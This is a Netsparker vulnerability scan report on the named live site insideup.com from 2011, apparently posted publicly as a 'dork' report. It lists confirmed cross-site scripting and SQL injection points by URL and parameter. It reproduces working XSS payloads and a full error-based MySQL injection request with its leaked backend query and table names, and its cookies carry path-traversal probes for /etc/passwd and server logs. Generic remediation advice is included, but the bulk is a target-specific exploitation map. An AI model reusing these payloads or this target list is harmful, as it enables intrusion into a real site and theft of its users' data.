DORK Report, SQL Injection, XSS, insideup.com, CWE-79, CWE-89

Netsparker - Scan Report Summary

TARGET URL	http://www.insideup.com/
SCAN DATE	4/19/2011 9:15:56 PM
REPORT DATE	4/20/2011 6:55:18 AM
SCAN DURATION	00:34:55

Total Requests

Average Speed

req/sec.

202

identified

174

confirmed

critical

informational

GHDB, DORK Tests

PROFILE	Previous Settings
ENABLED ENGINES	Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting

Authentication

Scheduled

VULNERABILITIES Vulnerabilities
	CRITICAL 20 % IMPORTANT 75 % LOW 3 % INFORMATION 2 %

GHDB, DORK VULNERABILITIES

URL	Parameter	Method	Vulnerability	Confirmed
/			Apache Version Disclosure	No
/communitysignup.html	companyName	POST	Cross-site Scripting	Yes
	emailAddress	POST	Cross-site Scripting	Yes
	firstName	POST	Cross-site Scripting	Yes
	refererUrl	POST	Cross-site Scripting	Yes
	lastName	POST	Cross-site Scripting	Yes
	password1	POST	Cross-site Scripting	Yes
	password2	POST	Cross-site Scripting	Yes
	pseudonym	POST	Cross-site Scripting	Yes
	receiveSpecialOfferEmail	POST	Cross-site Scripting	Yes
	refererUrl	POST	Cross-site Scripting	Yes
	termsOfService	POST	Cross-site Scripting	Yes
	refererUrl	POST	Cross-site Scripting	Yes
	pseudonym	POST	Cross-site Scripting	Yes
	emailAddress	POST	Cross-site Scripting	Yes
	refererUrl	POST	Cross-site Scripting	Yes
	firstName	POST	Cross-site Scripting	Yes
	pseudonym	POST	Cross-site Scripting	Yes
	emailAddress	POST	Cross-site Scripting	Yes
	lastName	POST	Cross-site Scripting	Yes
	firstName	POST	Cross-site Scripting	Yes
	companyName	POST	Cross-site Scripting	Yes
	lastName	POST	Cross-site Scripting	Yes
	password1	POST	Cross-site Scripting	Yes
/contactUs.html	comments	POST	Cross-site Scripting	Yes
	company	POST	Cross-site Scripting	Yes
	email	POST	Cross-site Scripting	Yes
	firstName	POST	Cross-site Scripting	Yes
	lastName	POST	Cross-site Scripting	Yes
	leadCategory	POST	Cross-site Scripting	Yes
	phone	POST	Cross-site Scripting	Yes
	url	POST	Cross-site Scripting	Yes
	value	POST	Cross-site Scripting	Yes
	yourInterest	POST	Cross-site Scripting	Yes
/css/			Directory Listing (Apache)	No
/googleMap.html	address	GET	Cross-site Scripting	Yes
/index.html			Cookie Not Marked As HttpOnly	Yes
/js/			Forbidden Resource	Yes
/openx/www/			PHP Version Disclosure	No
/ppc/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000542)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000519)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/bulo00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/bulo00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/bulo00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005C8)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/bulo00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/bulo00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005CF)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/cace00/project.php	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
/ppc/leadflow/cace00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0009C4)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/css/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013B9)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/css/Dyn_form_style.css'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013D1)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/css/newlanding_style.css'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013A8)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/css/styles.css'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001460)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/css/ui.core.css'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013CA)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/dima00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/dima00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/dima00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005F5)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/dima00/project.php	catId	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/fist00/project.php	iusrc	GET	[Probable] SQL Injection	No
/ppc/leadflow/hins00/project.php	iusrc	GET	[Probable] SQL Injection	No
/ppc/leadflow/images/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001474)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/incn00/project.php	catId	GET	[Probable] SQL Injection	No
/ppc/leadflow/inco00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/inco00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/inco00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005BB)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/inco00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/inco00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005C2)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/js/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013ED)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/lgds00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/lgds00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/lgds00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00058D)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/lgds00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/lgds00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005A7)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/lodi00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/lodi00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/lodi00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005E9)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/lodi00/project.php	catId	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/lodi00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005EE)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/meac00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/meac00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/meac00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005AB)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/meac00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/meac00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005B7)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/obtm00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/obtm00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/obtm00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005D3)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/obtm00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/obtm00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005DB)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/parl00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/parl00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/parl00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005DF)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/parl00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/parl00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0005E7)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/phsy00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/phsy00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/phsy00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00055F)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/phsy00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
/ppc/leadflow/phsy00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00058B)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/project_dynamic_page_updated.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001435)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/style/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013BD)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/style/dhtmlwindow.css'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0013B5)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/wede00/	nsextt	GET	Cross-site Scripting	Yes
/ppc/leadflow/wede00/	Query Based	QUERYSTRING	Cross-site Scripting	Yes
/ppc/leadflow/wede00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00050F)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/wede00/project.php	catId	GET	SQL Injection	Yes
	iusrc	GET	SQL Injection	Yes
	catId	GET	[Probable] SQL Injection	No
	iusrc	GET	[Probable] SQL Injection	No
	nsextt	GET	Cross-site Scripting	Yes
	Query Based	QUERYSTRING	Cross-site Scripting	Yes
	catId	GET	Cross-site Scripting	Yes
	iusrc	GET	Cross-site Scripting	Yes
	catId	GET	Database Error Message	No
			MySQL Database Identified	Yes
/ppc/leadflow/wede00/project.php'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00055D)%3C/script%3E	URI-BASED	Raw URI	Cross-site Scripting	Yes
/ppc/leadflow/weho00/project.php	iusrc	GET	[Probable] SQL Injection	No
/ppc/tools/			Redirect Response BODY Is Too Large	Yes
/privacy.html			E-mail Address Disclosure	No
/selectvendors.html			Password Transmitted Over HTTP	Yes
/selectvendors.html			Auto Complete Enabled	Yes
/updateCity.html	city	GET	Cross-site Scripting	Yes
/whitePapaper.html	company	POST	Cross-site Scripting	Yes
	companyServices	POST	Cross-site Scripting	Yes
	email	POST	Cross-site Scripting	Yes
	firstName	POST	Cross-site Scripting	Yes
	iusrc	POST	Cross-site Scripting	Yes
	lastName	POST	Cross-site Scripting	Yes
	parentPage	POST	Cross-site Scripting	Yes
	phone	POST	Cross-site Scripting	Yes
	src	POST	Cross-site Scripting	Yes
	url	POST	Cross-site Scripting	Yes
	company	POST	Cross-site Scripting	Yes
	companyServices	POST	Cross-site Scripting	Yes
	email	POST	Cross-site Scripting	Yes
	firstName	POST	Cross-site Scripting	Yes
	lastName	POST	Cross-site Scripting	Yes
	parentPage	POST	Cross-site Scripting	Yes
	phone	POST	Cross-site Scripting	Yes
	src	POST	Cross-site Scripting	Yes
	url	POST	Cross-site Scripting	Yes
			Internal Server Error	Yes

SQL Injection

17 TOTAL

CRITICAL

CONFIRMED

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

MSDN - Protect From SQL Injection in ASP.NET

- /ppc/leadflow/wede00/project.php

/ppc/leadflow/wede00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/wede00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/wede00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:03 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=3jpuhm6d0i03rre8doid216i86; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select 